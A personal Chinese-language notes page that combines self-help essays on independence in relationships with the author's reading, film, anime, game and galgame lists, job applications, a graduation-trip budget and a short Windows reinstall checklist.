　　但你不要只喜欢自己一个人，不要变得自私、孤僻，不要只学会了怎么好好地爱自己，却忘记了怎么接纳别人的爱，也忘了怎么去爱别人。

　　一个人的时候，做好身材管理，养成自律的习惯，不要每次想做什么就一定要做，想吃什么就丝毫不忌口。不要一方面羡慕着别人超模一样的身材，另一方面自己又不停地吃喝，从来不想对自己的身材进行管理。

　　一个人的时候，更要对家人好一点。等以后有了另一半，你陪家人的时间就没有那么多了。你要明白，即使身边所有的人都走光了，家人依然会在背后默默支持着你，不抛弃你。只有家人才是你最坚固的依靠。

　　不管你现在处于什么时期，不管你年龄有多大，不要轻易喜欢一个人，更不要随便谈恋爱。对自己要学会欣赏、喜欢，对感情要负责。不要因为看见别人甜蜜，就急于摆脱单身。不要为了填补内心的空虚和寂寞而去喜欢一个人，这对自己、对他人来说都是一种伤害。

　　在喜欢另一个人之前，请你先喜欢自己一个人生活。因为一个人的时光，是提升自我价值的最好机会。学会自己去解决问题，处理好一个人时的情绪，保持对生活的热忱，学会反思自己的错误，做到了这些，你才能够认识更好的自己。

　　不要浪费一个人的时光，好好享受一个人的生活，这样才能不负未来，遇见更好的你。

清醒一点吧，谁也没有义务负担你的人生

　　朋友小 D 毕业于一个很不错的学校，专业热门，但是她毕业多年，已经快 30 岁了，却还做着入门级的工作，且她干的每份工作时间都不太长，时间最短的一次，和上一份工作之间，居然只间隔了 20 天而已。

　　其实小 D 为人没有什么不好，聪明漂亮、性格柔顺，唯一的缺陷是太多情。她投入一份感情的时间太快，那些追求她的男性不用费什么力气地说几句甜言蜜语，她就信了。进入新公司没多久，就被一个男同事追求成功，小 D 和男同事偷偷摸摸谈起了恋爱。

　　在工作上，她似乎异常脆弱。每每给自己打气说要好好做手头的项目，刚踌躇满志没几天，就被工作上的难题吓住，各种抱怨。男朋友发微信哄她“你不用怕，将来我养你”，她就沉浸在他给的这种“深情”里，幸福得不得了。

　　从此，工作时，她就捧着手机读言情小说，看言情剧，完全沉醉在对浪漫爱情的向往里。点开她的朋友圈，就会发现，她常常转发标题为“真正爱你的男人，一定会做的几件事”这类文章，在日常生活中更是把“一个男朋友要做到的三大纪律、八项注意”时时刻刻挂在嘴边。

　　在她的世界里，爱情来势汹汹，如电视剧一般夸张。但是过了最初的甜蜜期，她就开始各种烦恼了：男朋友的工资不够高，不够上进，出去玩时对她不够照顾，某个雨天因为加班忘了送她回去，等等。

　　她时常半夜 12 点在朋友圈里感慨北漂生活的不易。她说，想找到一个真正意义上的好男人，免去她奋斗的辛苦、生活的艰难。

　　但事与愿违，男朋友没过多久就和她分手了。问及原因，他说，因为她对爱情的愿景和期待太高了，自己满足不了。譬如在公司，但凡遇到一点麻烦，她就会打电话向他诉苦，一开始还好，但只要在她倾诉时，他稍微流露出一点不耐烦的情绪，她就会大发脾气，拿他以前的承诺来反问他，问他为什么承诺过要保护自己，在遇到问题时却什么也做不了。

　　事实上，恋人能在一起，本质上就是相互安慰、相互扶持。她对生活和爱人有那么多的抱怨和不满，是因为她渴望通过找到一个爱人，解决人生所有的难题。

　　这是典型的巨婴式想法。好的情感关系从来都不是寄生式的，而是两个强大的人构建同盟。

　　有的人认为，一个女人，只要没有什么野心，心地善良，与世无争，就可以获得自己想要的美好生活。

　　在我年少的时候，我也曾相信这一点。我曾经也认为，世界上的一切，都是浪漫的，只要做梦，不需要触碰生活的真实本色和坚硬质地，不需要靠自己奋斗，让那些爱我的人来保护我就足够了。

　　但这种梦很快就碎了，逼迫你清醒过来。

　　当我深入生活的肌理之后，明白了别人的不易，也就更懂得了正是因为这个世界上有风霜剑雨，人与人之间才要相互体谅、相互扶持。

　　但小 D 一直沉浸在对别人的期待里，总希望通过爱情来一劳永逸地解决全部的问题，所以才会一直碰壁。

　　小 D 还以为是自己选择男友的眼光有问题，事实上，是她对这个世界没有一个清醒的认知，以至于 30 多岁，仍然如无根浮萍一般无法安定下来，还在寄希望于通过一场婚姻来拯救自己。

　　在她的理想里，生活应该像一份精美的礼物，而爱情就是打开这份礼物的捷径。她对情感的期待越高，想要从情感中索要的回报就越多。在她的观念里，这个世界上复杂的人和事，无处不在的压力，你死我活的竞争，都需要由爱她的人去解决，而她只需要有一颗真心，就应该被生活优待，被别人奉养，永远也不能被辜负。

　　以前看过一句话：成人的世界，并没有谁比谁活得更容易。性别和爱情的借口抵挡不了残酷的现实。当生活的伤口被撕开时，该自己去面对的只能自己去面对，旁人并不能代替。

　　那些岁月静好、美满幸福的童话故事令我们心生向往，但是，合上书我们仍然要面对这个世界施加给我们的那些不堪和真实的鸡毛蒜皮。

　　对那些希望通过男朋友的保护解决自己所有问题的姑娘来说，爱情的失败已经成了她们伪装自我的借口。她们以楚楚可怜的形象示人，只会获得别人偶尔的同情，但是很难真正改变不好的处境。

　　她们被男人的甜言蜜语打动，到最后却总是俗套地陷入对爱情的幻想中，而这份幻想很有可能会成为她的软肋。男人们耗尽耐心后，会坚决地离开她们。

　　这个世界的竞争有时候就像是一个修罗场，在其中厮杀，是一场孤独的自我战斗。命运从来都不会因为性别对女性网开一面。在真实的世界里，没有谁是另一个人的避难所。希望从来都不是别人给的，抛弃所有想要自我逃避的借口，一点点积攒属于自己的力量才能在某种程度上远离那些焦虑和不安。

　　真正的美好是别人提供不了的，它必须由自己靠内心一点点去寻找，必须由自己在时光中一点点创造，通过枯燥的、单调的、重复的、看起来不那么浪漫和美好的奋斗慢慢成就。只有这样，你才会得到一种来自灵魂深处的强大，才能找到一份真正坚实的感情。

笔记

记录所有无处安放的笔记。

此处的笔记有着更广泛的含义，如果需要查看专业的知识笔记，请前往技术，或学习页面。

此处的笔记更像是讲座或分享时，为了备忘而写下的东西。

记录

记录自己的所有轨迹。

这样做很有趣，也非常有成就感，尤其是记录自己看过的书籍。

如果不嫌麻烦，诸位也可以尝试。

已读书目记录

2019 年

  1. 你可以哭，但不能输 - 采薇
  2. 三体 - 刘慈欣
  3. 浮生六记 - 沈复

2020 年

  1. 三日间的幸福 - [日]三秋缒
  2. 第一行代码(第三版)- 郭霖

2021 年

  1. 向大师学绘画 如何默写人体 - [美]道格·贾米森(Doug Jamieson)
  2. 美元真相 - [英]达尔辛妮·大卫(Dharshini David)
  3. 你的故事 - [日]三秋缒
  4. 放学后的异世界咖啡馆 - [日]风见鸡
  5. 两具蝉的尸骸和缠绕于其的两株冬虫夏草 - 不気味空(来自网络)
  6. 遇见未知的自己 - 张德芬
  7. 完美伴侣 缓慢性爱 - [日]Adam 德永
  8. 来自新世界 - [日]貴志祐介
  9. 水仙花 Narcissu - [日]片岡とも
  10. 但愿婚前我知道-12 件预备婚姻的大事 - [美]盖瑞·查普曼(Dr. Gary Chapman)
  11. 昨日寻找星星的借口 - [日]何野裕
  12. 夏天、烟火和我的尸体 - [日]乙一
  13. ⭐️被讨厌的勇气 - [日]岸见一郎，古贺史健
  14. 推理要在早餐时 - [日]友井羊
  15. 再见摩天轮 - 鬼鬼
  16. 我离开之后 - [美]Suzy Hopkins, Hallie Bateman
  17. 从一到无穷大 - [美]乔治·伽莫夫(George Gamow)
  18. ⭐️大问题：简明哲学导论(第十版)- [美]Robert C. Solomon, Kathleen M. Higgins
  19. ⭐️我想要两颗西柚 - 胡辛束
  20. 小王子 - [法]安东尼·德·圣-埃克苏佩里(Antoine de Saint-Exupery)
  21. 你当像鸟飞往你的山 Educated - [美]塔拉·韦斯特弗(Tara Westover)
  22. 学点法律，避点坑 - 隋兵
  23. 山茶文具店 - [日]小川糸
  24. 快速抓重点，过目不忘的阅读术 - [日]印南敦史
  25. 人间告白 - 金鱼酱
  26. 情书 - [日]岩井俊二
  27. 二十首情诗和一首绝望的歌 - [智利]巴勃罗·聂鲁达(Pablo Neruda)

2022 年

  1. ⭐️非暴力沟通 - [美]马歇尔·卢森堡(Marshall B.Rosenberg)- <2021.12.20-2022.1.4>
  2. 狮子之家的点心日 - [日]小川糸 - <2022.1.9-2022.1.13>
  3. ⭐️没事，一切都会好起来的 - [韩]Jedit - <2022.1.16>
  4. (漫画) 让人无法抱怨的爱情喜剧 - [日]铃木大辅 - <2022.1.23>
  5. 通过例子学 Rust - Rust 语言团队及中文社区 - <2022.1.15-2022.1.23>
  6. ⭐️亲密关系(第六版)(Intimate Relationships 6e) - [美]罗兰·米勒(Rowland S. Miller)(注：非常难啃) - <2021.10.5-2022.2.2>
  7. (漫画) Google Chrome comic - Google 团队 - <2022.2.2>
  8. (漫画) 我可以咬一口吗 - [美]莉兹·克里莫 - <2022.2.7>
  9. (漫画) 灯塔 - [法]克里斯多夫·夏布特 - <2022.2.7>
  10. (漫画) 回答不了 - 匡扶 - <2022.2.7-2022.2.9>
  11. (漫画) 半小时漫画理财课 - 八宝 - <2022.2.11>
  12. 喜鹊的计谋 - [日]才羽乐 - <2022.2.15>
  13. 人间失格 - [日]太宰治 - <2022.2.16>
  14. 摆渡人 - [英]克莱尔·麦克福尔 - <2022.2.18-2022.2.19>
  15. (漫画) 半小时漫画经济学 1：生活常识 - 陈磊·半小时漫画团队 - <2022.2.22-2022.2.24>
  16. (漫画) 半小时漫画经济学 2：金融危机 - 陈磊·半小时漫画团队 - <2022.2.25-2022.3.3>
  17. (漫画) 半小时漫画经济学 3：金融危机(完结篇) - 陈磊·半小时漫画团队 - <2022.3.3>
  18. 数学之美 - 吴军 - <2021.11.5-2022.3.7>
  19. Rust 程序设计语言 - Rust 语言团队及中文社区 - <2022.1.1-2022.3.18>
  20. 呐喊 - 鲁迅 - <2022.3.20-2022.3.22>
  21. Node.js 项目实战 构建可扩展的 Web 应用 - [美]Azat Mardan - <2022.3.22>
  22. (漫画) 佐仓同学有你的指名哦 - [日]森みさき - <2022.3.25-2022.3.31>
  23. 设计模式 - 刘伟(来自网络)- <2022.1.14-2022.4.4>
  24. 2018 - 刘慈欣 - <2022.3.9-2022.4.6>
  25. 明天，我要和昨天的你约会 - [日]七月隆文 - <2022.4.6-2022.4.8>
  26. 如何阅读一本书 - 轻阅读编写组 - <2022.4.14>
  27. 追风筝的人 - [美]卡勒德·胡赛尼 - <2022.4.16-2022.4.18>
  28. 1984 - [英]乔治·奥威尔(George Orwell)- <2022.4.27-2022.5.2>
  29. 他来了，请闭眼 - 丁墨 - <2022.5.2-2022.5.5>
  30. Vue 源码系列 - Vue 中文社区 - <2022.5.6-2022.5.10>
  31. 霍乱时期的爱情 - [哥伦比亚]加西亚·马尔克斯(García Márquez)- <2022.5.5-2022.5.30>
  32. mdBook Documentation - Rust 语言团队 (Mozilla)- <2022.5.31>
  33. 盲视 - [加拿大]彼得·沃茨 - <2022.6.29-2022.7.18>
  34. 跟我写 Makefile - 陈皓 - <2022.7.26-2022.7.27>
  35. 爱丽丝梦游仙境 - [英]路易斯·卡罗尔(Lewis Carroll)- <2022.7.19-2022.8.5>
  36. 天堂旅行团 - 张嘉佳 - <2022.8.11>
  37. 再次仰望星空 - [美]杰森·格林(Jayson Greene)- <2022.9.3-2022.9.30>
  38. 计算机系统要素：从零开始构建现代计算机 - [美]Noam Nisan - <2022.9.7-2022.10.1>
  39. 大型网站技术架构：核心原理与案例分析 - 李智慧 - <2022.10.20-2022.10.26>
  40. 智齿 - 郑渊洁 - <2022.10.31-2022.11.9>
  41. 童话大王讲经典：西游记 - 郑渊洁 - <2022.11.20-2022.12.2>

2023 年

  1. 强风吹拂 - [日]三浦紫苑(三浦しをん)- <2022.12.7-2023.1.3>
  2. 时间简史 - [英]史蒂芬·霍金(Stephen Hawking)- <2023.1.5-2023.1.26>
  3. (漫画) 半小时漫画预防常见病 - 陈磊·半小时漫画团队 - <2023.1.27-2023.2.3>
  4. (漫画) 半小时漫画宇宙大爆炸 - 陈磊·半小时漫画团队 - <2023.2.3>
  5. (漫画) 半小时漫画经济学 4：理财篇 - 陈磊·半小时漫画团队 - <2023.2.3>
  6. ⭐️焦虑的人 - [瑞典]弗雷德里克·贝克曼(Fredrik Backman)(注：翻译腔但剧情好) - <2023.1.27-2023.2.11>
  7. 我与地坛 - 史铁生 - <2023.4.12-2023.5.3>
  8. 心电图图解速成讲授 - 王建华，杨守仁，赵晓梅，王立斌，韩国栋 - <2023.6.16-2023.6.19>
  9. 薄世宁医学通识讲义 - 薄世宁 - <2023.6.14-2023.6.22>
  10. 基本乐理教程 - 童忠良 - <2023.7.9>
  11. 众病之王：癌症传 - [美]悉达多·穆克吉(Siddhartha Mukherjee) - <2023.6.27-2023.7.14>
  12. 小狗钱钱 - [德]博多·舍费尔 - <2023.9.3-2023.9.8>
  13. 乌合之众 - [法]古斯塔夫·勒庞(Gustave Le Bon) - <2023.9.11-2023.9.22>
  14. 打开一颗心 - [英]斯蒂芬·韦斯塔比 - <2023.10.4-2023.10.17>
  15. 雪国 - [日]川端康成 - <2023.10.20-2023.10.22>
  16. 力哥说理财：手把手教你玩转基金 - 邢力 - <2023.10.29-2023.11.5>
  17. 曼昆经济学原理：宏观经济学分册 - [美]曼昆(N. Gregory Mankiw) - <2022.1.24-2022.2.21+2023.9.14-2023.11.7>
  18. 力哥说理财：小白理财入门必修课 - 邢力 - <2023.11.8-2023.11.13>
  19. 蛤蟆先生去看心理医生 - [英]罗伯特·戴博德 - <2023.11.14-2023.11.17>
  20. 选择做富人 - 徐建明 - <2023.11.24-2023.11.28>
  21. 徐建明谈理财：观念决定一生的财富 - 徐建明 - <2023.12.3-2023.12.5>
  22. 一小时搞定全家保险 - 陈铜 - <2023.12.10-2023.12.18>
  23. 你不懂内衣 - 于晓丹 - <2023.12.20-2023.12.24>
  24. 洞见 - [美]罗伯特·赖特 - <2023.10.22-2023.12.28>

2024 年

  1. 日语入门：零起点图解一看就会 - 川边成，张浩然 - <2023.12.31-2024.1.1>
  2. 日语语法指南 - Tae Kim - <2024.1.5-2024.1.23>
  3. 把时间当作朋友 - 李笑来 - <2024.1.26-2024.2.3>
  4. 微习惯：简单到不可能失败的自我管理法则 - [美]斯蒂芬·盖斯 - <2024.1.5-2024.1.9>
  5. 杀死一只知更鸟 - [美]哈珀·李 - <2023.11.23-2023.12.31+2024.2.10-2024.2.13>
  6. ⭐️置身事内：中国政府与经济发展 - 兰小欢 - <2023.10.22-2023.12.31+2024.2.13-2024.2.15>
  7. 福格行为模型 - [美]B.J.福格 - <2024.2.21-2024.2.26>
  8. 稀缺：我们是如何陷入贫穷与忙碌的 - [美]塞德希尔·穆来纳森(Sendhil Mullainathan),[美]埃尔德·沙菲尔(Eldar Shafir) - <2024.3.1-2024.3.8>
  9. 雪球专刊：不可不知的保险常识 - 雪球 - <2023.12.10-2024.1.2+2024.3.11-2024.3.13>
  10. 你的第一本保险指南 - 槽叔 - <2024.2.15-2024.3.23>
  11. 小岛经济学 - [美]彼得·希夫(Peter D. Schiff),[美]安德鲁·希夫(Andrew J. Schiff) - <2024.3.27-2024.3.30>
  12. 不要用别人的脑子思考你的人生 - 采薇 - <2024.4.20-2024.4.23>

观影记录

未完成

  1. 守望者 - 扎克 • 施耐德
  2. 正义联盟 - 扎克 • 施耐德
  3. 开端电视剧（周虹灵推荐）
  4. 一个叫欧维的男人决定去死
  5. 信条
  6. 辛德勒的名单
  7. 星际穿越
  8. 这个杀手不太冷
  9. 星际拓荒
  10. 觉醒年代（电视剧）
  11. 太空漫游 2001
  12. 士兵突击（电视剧）
  13. 豪斯医生
  14. 成龙系列

已完成

时间未知或遗忘（4 部）

  1. 玩具总动员
  2. 红海行动
  3. 僵尸世界大战（World War Z）
  4. 窃听风云（Overheard）

2019 年（1 部）

  1. 流浪地球（The Wandering Earth）

2021 年（11 部）

  1. 入殓师
  2. Hello World
  3. 你好，李焕英！【恋爱期间】
  4. 玉子爱情故事（Tamako Love Story）
  5. 失控玩家（Free Guy）
  6. 颠倒的帕特玛（逆さまのパテマ）
  7. 新神榜之哪吒重生
  8. 唐人街探案 3
  9. Josee，老虎和鱼（Josee, the Tiger and the Fish）
  10. 银翼杀手 1982（Blade Runner 1982）
  11. Water Boys

2022 年（14 部）

  1. 黑客帝国（The Matrix）
  2. 黑客帝国 2：重装上阵（The Matrix 2: Reloaded）
  3. 黑客帝国 3：矩阵革命（The Matrix 3: Revolutions）
  4. 名侦探柯南：绯红色的子弹
  5. 银翼杀手 2049（Blade Runner 2049）
  6. 飞屋环游记（Up）
  7. 爱丽丝梦游仙境 - 仙境奇遇记
  8. 寻梦环游记（Coco）
  9. 盗梦空间（Inception）
  10. 爱丽丝梦游仙境 - 镜中奇遇记
  11. 海上钢琴师（Legenda Nimeltään）
  12. 舞出我人生之舞所不能【烂片】
  13. 舞出我人生（Step Up）
  14. 舞出我人生 2：街舞（Step Up 2: The Streets）

2023 年（15 部）

  1. 闻香识女人（Scent of a Woman）
  2. 指环王 1：护戒使者（The Lord of the Rings: The Fellowship of the Ring）
  3. 绿皮书（Green Book）
  4. 大话西游之月光宝盒（A Chinese Odyssey Part 1 - Pandora's Box）
  5. 让子弹飞（Let the Bullets Fly）
  6. 大话西游之大圣娶亲（A Chinese Odyssey Part 2 - Cinderella）
  7. 流浪地球 2（The Wandering Earth 2）
  8. 泰坦尼克号（Titanic）
  9. 我想吃掉你的胰脏（君の膵臓をたべたい）
  10. 情书（Love Letter・ラヴレター）【已阅读小说】
  11. 坚如磐石（Under the Light）
  12. 指环王 2：双塔奇兵（The Lord of the Rings: The Two Towers）
  13. 江户川柯南：黑铁的鱼影（名探偵コナン：黒鉄の魚影）
  14. 西游记之大圣归来（Monkey King: Hero Is Back）
  15. 指环王 3：王者归来（The Lord of the Rings: The Return of the King）

番剧记录

  1. 乒乓
  2. 更衣人偶坠入爱河
  3. 非自然死亡（日剧）
  4. 赛博朋克：边缘行者
  5. 强风吹拂
  6. 在地下城寻求邂逅是否搞错了什么 第一季
  7. 在地下城寻求邂逅是否搞错了什么 第二季
  8. 在地下城寻求邂逅是否搞错了什么 第三季
  9. 路人女主的养成方法
  10. 我女友和青梅竹马的惨烈修罗场
  11. 日常
  12. 黑岩射手
  13. 游戏人生
  14. 笨蛋，测试，召唤兽
  15. 绯弹的亚里亚
  16. CLANNAD
  17. CLANNAD～AFTER STORY
  18. 虫师
  19. 埃罗芒阿老师
  20. 吹响吧！上低音号 第一季
  21. Re：从零开始的异世界生活
  22. 总之就是很可爱
  23. 暗杀教室 第一季
  24. 灵能百分百 第一季
  25. 爱，死亡和机器人 第一季
  26. 爱，死亡和机器人 第二季
  27. 爱，死亡和机器人 第三季

Galgame 记录

  1. Making Lovers
  2. Making Lovers Vol.1
  3. Making Lovers Vol.2
  4. 爱之钥 ~AfterDays~
  5. 春音 Alice*Gram
  6. 忘却管家与恋爱大小姐的回忆录¹
  7. 星光咖啡馆与死神之蝶
  8. 宿星 Girlfriend
  9. 涂有少女涂彩的爱之芬芳
  10. 少女理论及其之后的周边
  11. 不可视之药与坎坷的命运
  12. LILYCLE 彩虹舞台
  13. 实妹相伴的大泉君
  14. 编织时间的约定
  15. 9 nine 九个九日九色
  16. 9 nine 天色天音天歌
  17. 9 nine 雪色雪花雪余痕
  18. eden*
  19. 少女领域
  20. 女装山脉
  21. 不败世界与终焉之花
  22. 处女回路
  23. 未来的歌献给未来的你
  24. 天使的日曜日
  25. 120 日元
  26. 红线姻缘
  27. 美少女万华镜 1：被诅咒的传说少女
  28. 美少女万华镜 2：勿忘草与永远的少女
  29. 美少女万华镜 3：神明所创造的少女们
  30. 美少女万华镜 5：理与迷宫的少女
  31. 我只注视着你
  32. 天色幻想岛
  33. 樱吹雪～千年之恋
  34. 糖调！
  35. 安娜贝尔女仆花园
  36. 初恋症候群
  37. Clover day's
  38. 星之少女与六华的姐妹
  39. 主人、请让塞拉为您献上如梦幻般甜蜜恩爱的侍奉吧

备注

  1. 女主好看，ガーターベルト

游玩游戏记录

已完成

  1. 巫师 3：狂猎（The Witcher 3: Wild Hunt）
  2. 奥日与黑暗森林（Ori and the Blind Forest）
  3. 奥日与萤火意志（Ori and the Will of the Wisps）
  4. 死亡细胞（Dead Cells）
  5. 你画我猜（Draw & Guess）
  6. 城市：天际线（Cities Skylines）
  7. 寻找埃文（Evan's Remains）
  8. 泰拉瑞亚（Terraria）
  9. 我的世界（Minecraft）
  10. 异星工厂（Factorio）
  11. 深岩银河（Deep Rock Galactic）
  12. 饥荒联机版（Don't Starve Together）
  13. 双人成行（It Takes Two）
  14. 求生之路 2（Left 4 Dead 2）
  15. 只狼：影逝二度（Sekiro: Shadows Die Twice）
  16. 影子战术：将军之刃（Shadow Tactics: Blades of the Shogun）
  17. 毁灭战士：永恒（DOOM: Eternal）
  18. 蔚蓝（Celeste）
  19. 传送门 2（Portal 2）
  20. 茶杯头（Cuphead）
  21. 星露谷物语（Stardew Valley）
  22. 泰坦陨落 2（Titanfall 2）
  23. 丽丽公主（WhiteLily 1：丽丽公主）
  24. 人类一败涂地（Human Fall Flat）
  25. 胡闹厨房 2（Overcooked! 2）
  26. 去月球（To the Moon）
  27. 花（Flower）
  28. 女装少年短发妹
  29. 星际拓荒（Outer Wilds）
  30. 僵尸世界大战（World War Z）
  31. 英雄与将军（Heroes & Generals）
  32. 新手指南（The Beginner's Guide）
  33. 使命召唤：高级战争（Call of Duty: Advanced Warfare / COD 11）
  34. 古树旋律（Deemo）
  35. 空洞骑士（Hollow Knight）
  36. 影子战术：爱子的选择（Shadow Tactics: Aiko's Choice）
  37. 看门狗（Watch Dogs）
  38. 看门狗 2（Watch Dogs 2）
  39. 地痞街区（Streets of Rogue）
  40. 战斗砖块剧场（BattleBlock Theater）
  41. Mirror
  42. 赛博朋克 2077（Cyberpunk 2077）
  43. 植物大战僵尸（Plants vs Zombies）
  44. 武装原型（Broforce）
  45. Baba is You
  46. 女巫（Noita）
  47. 光环：致远星（Halo: Reach）
  48. 地铁：最后的曙光（Metro: Last Light）
  49. 城市：天际线 2（Cities Skylines II）
  50. 奈斯启示录（Necesse）
  51. 背包乱斗

受人推荐

  1. Patrick's Parabox
  2. 避风港（Haven）
  3. 只只大冒险（Biped）
  4. 萌猫公园（Pico Park）
  5. 一起开火车（Unrailed!）
  6. 城堡破坏者（Castle Crashers）
  7. KeyWe

喜爱角色记录

桐谷和人

  • 作品类型：动画
  • 来源：《刀剑神域》

结城明日奈

  • 作品类型：动画
  • 来源：《刀剑神域》

友利奈绪

  • 作品类型：动画
  • 来源：《Charlotte》
  • 备注
    • 个性
    • 性格

诗音

  • 作品类型：Galgame
  • 来源：《eden*》

本须和茉莉

  • 作品类型：Galgame
  • 来源：《娇小少女的小夜曲》
  • 备注
    • 个性
    • 声音
    • 角色设定
    • 戏水 CG

保科有希

  • 作品类型：Galgame
  • 来源：《LOVESICK PUPPIES》
  • 备注
    • 声音
    • 性格

凛堂耶耶

  • 作品类型：Galgame
  • 来源：《春音 Alice Gram》
  • 备注
    • 性格

夏色祭

  • Virtual Youtuber
  • 备注
    • 高攻低防

大塚宫子

  • 作品类型：成人向商业漫画（R18）
  • 漫画家：真白しらこ
  • 来源
    • 《三月の雨》
    • 《Sunshower》
    • 《梅雨、夏服、アパ—トにて》
    • 《ふたりの文化祭》
  • 备注
    • 性格小恶魔
    • 非常可爱

牧濑皋月

  • 作品类型：Galgame
  • 来源：《有少女涂彩的爱之芬芳》
  • 备注
    • 性格

优秀作品记录

类型题目作者备注
文章《没有故事发生的夜里，他们在做什么》王路
文章《浮生六记，有生之思》庆山
文章《冬节书》曹文生
文章《不是人间富贵花》白落梅
书籍《浮生六记》[清]沈复
书籍《瓦尔登湖》[美]亨利·大卫·梭罗
文章《你一定走了很远的路吧》姬霄
诗词《临江仙 · 谢饷樱桃》[清]纳兰性德
文章《被温柔对待的瞬间》张佳玮
诗歌《一片树叶》海桑
时评《深度好文：阶级竞争即将由抢房，升级为抢……》观察门（来源：筹码）思想前瞻性高
诗词《鹧鸪天 · 暮春》黄昇
文章《你看上去很暖的样子》Jame暖心
书籍《魔鬼聊天书》磨铁图书实用？
诗歌《我用什么才能留住你》[阿根廷]豪尔赫·路易斯·博尔赫斯美与震撼

软件订阅记录

  1. 纯纯写作（永久
  2. ShadowRocket（永久
  3. Zlib 电子书网站（捐赠一个月
  4. Moji 辞书（永久基础会员
  5. 网易云音乐（一个月
  6. 存储重定向（永久
  7. 存储空间清理（永久
  8. App Ops（永久
  9. 黑阈（永久
  10. 捧读（永久

喜爱的舞者

Urban

  1. 丁丁（丁静）
  2. Abby（芶雯靖）
  3. Franklin（余衍林）
  4. Jawn Ha（何展成）
  5. 马晓龙

Hiphop

  1. 炎炎（王培炎）
  2. JC 俊（刘俊成）
  3. Semi（张世民）
  4. 阿祺（黄鑫祺）
  5. 亮亮（胡浩亮）
  6. 吉祥（贾永祥）
  7. Zaki（王子奇）

Popping

  1. 田一德
  2. Super Dino（黄景行）
  3. 刘雨昕

Locking

  1. 叶音

Breaking

  1. 小白（涂白桦）

衣服风格记录

风格

  1. 雪纺长裤
  2. KID 长袖
  3. 运动短裤
  4. 衬衫
  5. 西装
  6. 热裤
  7. Kinjaz 和 虎头
  8. 猫猫长外套
  9. 暗黑长外套
  10. あの夏へ

数量

  • 7 短裤
  • 1 西装
  • 8 薄长 T 和薄长外套
  • 9 薄短 T 和薄长 T
  • 7 常穿薄长裤
  • 6 不常穿厚长裤
  • 11 厚长 T 和厚长外套
  • 1 围巾
  • 1 手套
  • 4 鸭舌帽
  • 1 针织帽
  • 3 冰袖
  • 0.5 护腕
  • 5 颈饰
  • 1 护膝
  • 2 耳坠
  • 1 手链
  • 1 戒指

已投递的简历

  1. 中国农业发展银行
  2. 中邮消费金融
  3. 中国银行
  4. 中国农业银行
  5. 中国建设银行
  6. 飞腾
  7. IBM
  8. 米哈游
  9. 易幻网络
  10. 中国工商银行
  11. 比亚迪
  12. 富士康
  13. 大华股份
  14. 宇视科技
  15. 郑州易盛信息
  16. 潍柴
  17. 长虹集团
  18. 北京大数据先进技术研究院
  19. 高知特
  20. 自贡市知名高校行
  21. 中建桥梁
  22. 四川九洲电器集团有限责任公司
  23. 科锐国际
  24. 浙江大学湖州研究
  25. 霍尼韦尔（中国）有限公司
  26. 中国建研院
  27. 中国电科三十八所
  28. 长城汽车
  29. 东风公司
  30. 中交四航局
  31. 中通服咨询设计研究院
  32. 卡尔曼集团
  33. 中国东方电气集团
  34. 中国联通
  35. 国网数科控股公司
  36. 巴中市事业单位人才引进
  37. 兴业数金
  38. 之江实验室
  39. 爱丽思(中国)集团
  40. 思特奇信息技术
  41. 百度
  42. 浙江诺诺网络科技有限公司
  43. 华为
  44. 北森
  45. 上海啊吧咿网络科技有限公司
  46. MikeCRM
  47. 深圳计算科学研究院
  48. 浙江诺诺网络科技有限公司
  49. 医药魔方

毕业旅行

路线规划

时间活动开销
5.18学校 12:58 - 14:09 成都南，成都天府机场 17:40 - 20:25 烟台蓬莱机场 航班，订宿54 + 760
5.19烟台南站 14:37 - 15:04 莱阳站，订宿32
5.20莱阳站 15:24 - 16:29 青岛站，订宿37
5.21游览，订宿
5.22青岛站 16:20 - 23:09 杭州西站，订宿512.5
5.23游览，订宿
5.24游览，订宿
5.25杭州萧山机场 17:05 - 22:00 成都天府机场（经停常德桃花源机场），订宿708
5.26成都南 10:06 - 11:14 学校54
总计均不包含订宿费用2157.5

订宿费用

时间地点开销
5.18 晚，5.19 早离店蓬莱机场机场大巴到市区95
5.19 晚，5.20 早离店莱阳站附近52
5.20 晚，5.21 早离店青岛站附近83.88
5.21 晚，5.22 早离店青岛站附近56.02
5.22，5.23，5.24，5.25 早离店杭州西站西直线三四公里282.3
5.25 晚，5.26 早离店天府机场附近56 + 33(违约扣除)
总计658.2
总计（含火车和飞机）2815.7

总共花销

2234.35 -186.85 = 2047.5

3186.85 - 2058.31 = 1128.54

2047.5 + 1128.54 = 3176.04

门票、餐食及其他杂项费用

3176.04 - 2815.7 = 360.34

教程

一些简短的教程，可能会有错误。仅仅用于自己备忘。

以下教程可以信任：

  • Basic Elements 和 Street Dance Basics
  • 属于街舞专业内容
  • 重装系统
    • 试验修正过多次
  • 刷机教程
    • 试验修正过多次，技术人员校对

其它教程请持怀疑态度。

重装系统

前置工作

  • .ssh
  • .config
  • 保存的游戏
  • 微软输入法词库
  • 博客文件夹
  • Tempermonkey Scripts
  • Windows Terminal Themes settings.json
  • 种子下载记录
  • Windows 下载商业版（ itellyou 例：Windows 10, version XXXX (released <month> <year>) 64-bit Chinese Simplified）不要下 LTSC 和 LTSB
  • PicGo 设置
  • Proxifer Profile

流程

  1. 烧录好 U 盘
  2. 重启，狂按 F7 进入启动项
  3. 选择进入 U 盘启动
  4. 选择企业版（因版本而异
  5. 自定义安装
  6. 删除原 C 盘和该硬盘上保留的 MSR 分区
  7. 新建分区，应用
  8. 完成重装，黑屏，拔掉 U 盘
  9. 进入新系统设置
  • 中国
  • 微软拼音
  • 添加布局
  • 英语（美国）
  • 美式键盘
  • 联网
  • 取名字
  • 设置密码
  • 接受
  • 以后再说
  1. 检查 Windows 更新
  2. 安装微软常用运行库合集
  3. 添加排除项
  4. 激活 Windows
  5. 桌面 -> 个性化 -> 主题 -> 桌面图标设置
  6. 安装驱动
  7. 登录微软账号
  8. 更改文件管理器的选项
  • 改为打开此电脑
  • 取消隐私里面两个勾
  1. steam 下载路径
  2. 任务栏 -> cortana 任务视图 搜索 -> 隐藏
  3. IDEA Default Work Directory
  4. 7z 关联文件 7z zip rar 001 tar gz
  5. 设置 -> 系统 -> 远程桌面 -> 开
  6. 设置 -> 系统 -> 电源和睡眠 -> 四个永不
  7. 注册小鹤双拼 -> 输入法 -> 全半角切换开启
  8. 设置 -> 语言 -> 键盘 -> 替代默认输入法、允许我为每个应用窗口使用不同的输入法
  9. Office Tool
  • 点击部署
  • Office 专业版 2019
  • 添加语言 简体中文
  • 体系结构 64 位
  • 部署
  • 部署完成后，后退，点击激活
  • 许可证管理
  • 安装许可证
